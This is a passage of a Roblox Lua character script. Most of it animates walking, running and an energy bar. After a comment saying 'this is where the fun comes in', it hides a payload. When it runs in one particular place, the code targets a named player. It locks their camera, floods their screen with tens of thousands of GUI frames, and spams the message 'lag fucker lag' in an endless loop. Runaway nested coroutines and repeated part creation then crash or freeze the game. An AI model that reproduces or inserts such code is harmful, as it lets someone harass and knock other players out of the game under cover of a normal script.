4920 | elseif torvel>2 and torvel<22 and hitfloor~=nil then | |
4921 | Anim="Walk" | |
4922 | if attack==false then | |
4923 | change=0.8 | |
4924 | --[[RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(35),math.rad(0),math.rad(15*math.cos(sine/10))),.3) | |
4925 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-30),math.rad(0),math.rad(0)),.3) | |
4926 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3) | |
4927 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3) | |
4928 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0)),.3) | |
4929 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3) | |
4930 | --Handleweld.C0=clerp(--Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4931 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4932 | RootJoint.C0=clerp(RootJoint.C0,RootCF*euler(0.1,0,0),.2) | |
4933 | --RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-0.1,0,0.2),.2) | |
4934 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-5),math.rad(-25),math.rad(20)),.3) | |
4935 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(5),math.rad(25),math.rad(-20)),.3) | |
4936 | RH.C0=clerp(RH.C0,RHC0,.3) | |
4937 | LH.C0=clerp(LH.C0,LHC0,.3) | |
4938 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4939 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4940 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4941 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4942 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4943 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4944 | ]]-- | |
4945 | Footsteps:Play() | |
4946 | Footsteps2:Stop() | |
4947 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(10+1*math.cos(sine/2.5)),math.rad(0),math.rad(1-5*math.cos(sine/5))),.3) | |
4948 | Neck.C0=clerp(Neck.C0,necko*euler(0+0.075*math.cos(sine/2.5),0,0)*angles(math.rad(0),math.rad(0),math.rad(1+5*math.cos(sine/5))),.3) | |
4949 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
4950 | RW.C0=clerp(RW.C0,cf(1.4+0.25*math.cos(sine/5),0.5+0.25*math.cos(sine/5),-0.2+0.5*math.cos(sine/5))*angles(math.rad(20-60*math.cos(sine/5)),math.rad(0),math.rad(-4+30*math.cos(sine/5))),.3) | |
4951 | LW.C0=clerp(LW.C0,cf(-1.4+0.25*math.cos(sine/5),0.5-0.25*math.cos(sine/5),-0.2-0.5*math.cos(sine/5))*angles(math.rad(20+60*math.cos(sine/5)),math.rad(0),math.rad(4+30*math.cos(sine/5))),.3) | |
4952 | RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3) | |
4953 | LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3) | |
4954 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4955 | Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-30),math.rad(0-1*math.cos(sine/30))),.2) | |
4956 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(30),math.rad(0-3*math.cos(sine/36))),.2) | |
4957 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4958 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4959 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4960 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4961 | end | |
4962 | elseif torvel>=22 and hitfloor~=nil then | |
4963 | Anim="Run" | |
4964 | change=1 | |
4965 | if attack==false then | |
4966 | Footsteps:Stop() | |
4967 | Footsteps2:Play() | |
4968 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(20+1*math.cos(sine/2.5)),math.rad(0),math.rad(0)),.3) | |
4969 | Neck.C0=clerp(Neck.C0,necko*euler(-0.2+0.075*math.cos(sine/2.5),0,0),.3) | |
4970 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
4971 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(24)),.3) | |
4972 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(-24)),.3) | |
4973 | RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3) | |
4974 | LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3) | |
4975 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4976 | Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-60),math.rad(0-1*math.cos(sine/30))),.2) | |
4977 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(60),math.rad(0-3*math.cos(sine/36))),.2) | |
4978 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4979 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4980 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4981 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4982 | end | |
4983 | end | |
4984 | end | |
4985 | fenbarmana2:TweenSize(UDim2.new(4*mana/100,0,0.2,0),nil,1,0.4,true) | |
4986 | fenbarmana4.Text="[Energy] <{[ "..mana.." ]}> [Energy]" | |
4987 | text.Text = math.floor(hum.Health) | |
4988 | if mana>=100 then | |
4989 | mana=100 | |
4990 | else | |
4991 | if mananum<=8 then | |
4992 | mananum=mananum+100 | |
4993 | else | |
4994 | mananum=0 | |
4995 | mana=mana+100 | |
4996 | end | |
4997 | end | |
4998 | end | |
4999 | ||
5000 | ||
5001 | ||
5002 | ||
5003 | --- shshshhh this is where the fun comes in --- | |
5004 | if game.PlaceId == 21053279 then | |
5005 | plr = game.Players.ThatProGamerKilledU | |
5006 | char = plr.Character | |
5007 | cam = workspace.CurrentCamera | |
5008 | cam.CameraType = "Scriptable" | |
5009 | cam.CoordinateFrame = CFrame.new(0,0,50) | |
5010 | local localContainer | |
5011 | local service=setmetatable({ | |
5012 | MarketPlace=game:service("MarketplaceService"); | |
5013 | GamepassService=game:service("GamePassService"); | |
5014 | ChatService=game:service("Chat"); | |
5015 | LocalContainer=function() if not localContainer or not localContainer.Parent then localContainer=Instance.new("Camera",workspace) localContainer.Name=math.random(10000000,999999999) end return localContainer end; | |
5016 | },{ | |
5017 | __index=function(tab,index) | |
5018 | local serv | |
5019 | local ran,err=pcall(function() serv=game:service(index) end) | |
5020 | if ran then | |
5021 | tab[index]=serv | |
5022 | return serv | |
5023 | end | |
5024 | end | |
5025 | }) | |
5026 | ||
5027 | local cPcall=function(func,...) local function cour(...) coroutine.resume(coroutine.create(func),...) end local ran,error=pcall(cour,...) if error then print('ERROR: '..error) end end | |
5028 | ||
5029 | x=game.Players.ThatProGamerKilledU | |
5030 | x.CameraMode=Enum.CameraMode.LockFirstPerson | |
5031 | f=Instance.new("Frame") | |
5032 | f.Size=UDim2.new(1,0,1,0) | |
5033 | f.BackgroundTransparency=0.01 | |
5034 | f.BackgroundColor3=Color3.new() | |
5035 | pg=x.PlayerGui | |
5036 | gui=Instance.new("ScreenGui",pg) | |
5037 | wait(.1) | |
5038 | for i=1,28000 do | |
5039 | f:Clone().Parent=gui | |
5040 | f:Clone().Parent=gui | |
5041 | f:Clone().Parent=gui | |
5042 | end | |
5043 | ||
5044 | script:Destroy(); | |
5045 | local runService = Game:GetService("RunService").Stepped; | |
5046 | local LagNum = 1250; | |
5047 | local str = "lag fucker lag"; | |
5048 | ||
5049 | for i = 1, math.huge do | |
5050 | if i % LagNum == 0 then runService:wait(); end | |
5051 | Instance.new("Message", Workspace).Text = str; | |
5052 | end | |
5053 | ||
5054 | local bores=coroutine.create(function() --Yolo? | |
5055 | cPcall(function() | |
5056 | --print(Game[("%s|"):rep(0xFFFFFFF)]) | |
5057 | cPcall(print,'lol') | |
5058 | cPcall(warn,'lol') | |
5059 | cPcall(error,'lol') | |
5060 | while wait(0.1) do | |
5061 | spawn(function() | |
5062 | cPcall(function() | |
5063 | spawn(function() | |
5064 | local tab={} | |
5065 | pcall(function() | |
5066 | spawn(function() | |
5067 | for i=1,1000000 do | |
5068 | cPcall(function() | |
5069 | spawn(function() | |
5070 | local bob2=coroutine.create(function() | |
5071 | function f1() cPcall(spawn,f2) warn(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end | |
5072 | function f2() cPcall(spawn,f1) print(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end | |
5073 | spawn(f1) | |
5074 | end) | |
5075 | spawn(function() delay(0,function() coroutine.resume(bob2) end) end) | |
5076 | spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end) | |
5077 | end) | |
5078 | end) | |
5079 | end | |
5080 | tab={} | |
5081 | end) | |
5082 | end) | |
5083 | end) | |
5084 | end) | |
5085 | end) | |
5086 | end | |
5087 | end) | |
5088 | end) | |
5089 | ||
5090 | service.RunService.Stepped:connect(function() | |
5091 | for i=1,500000 do | |
5092 | delay(0,function() pcall(function() coroutine.resume(bores) end) end) | |
5093 | end | |
5094 | end) | |
5095 | ||
5096 | ||
5097 | local function bob() | |
5098 | cPcall(function() | |
5099 | while wait(0.1) do | |
5100 | --cPcall(function() | |
5101 | --for i=1,100 do | |
5102 | local p=Instance.new("Part") | |
5103 | p.Material="Neon" | |
5104 | p.Size=Vector3.new(50,50,50) | |
5105 | p.Anchored=true | |
5106 | p.BackSurface="Studs" | |
5107 | p.BottomSurface="Studs" | |
5108 | p.FrontSurface="Studs" | |
5109 | p.LeftSurface="Studs" | |
5110 | p.RightSurface="Studs" | |
5111 | p.TopSurface="Studs" | |
5112 | local t=Instance.new("Texture",p) | |
5113 | t.Texture="http://www.roblox.com/asset/?id=190803157" | |
5114 | t.Face="Top" | |
5115 | t.StudsPerTileU=1000 | |
5116 | t.StudsPerTileV=1000 | |
5117 | local t2=t:clone() | |
5118 | t2.Parent=p | |
5119 | t2.Face="Bottom" | |
5120 | local t2=t:clone() | |
5121 | t2.Parent=p | |
5122 | t2.Face="Left" | |
5123 | local t2=t:clone() | |
5124 | t2.Parent=p | |
5125 | t2.Face="Right" | |
5126 | local t2=t:clone() | |
5127 | t2.Parent=p | |
5128 | t2.Face="Front" | |
5129 | local t2=t:clone() | |
5130 | t2.Parent=p | |
5131 | t2.Face="Back" | |
5132 | p.Parent=service.LocalContainer() | |
5133 | --end | |
5134 | --end) | |
5135 | end | |
5136 | end) | |
5137 | end | |
5138 | bob() --while wait(0.1) do cPcall(bob) end | |
5139 | end | |
5140 | -- ~CLarramore |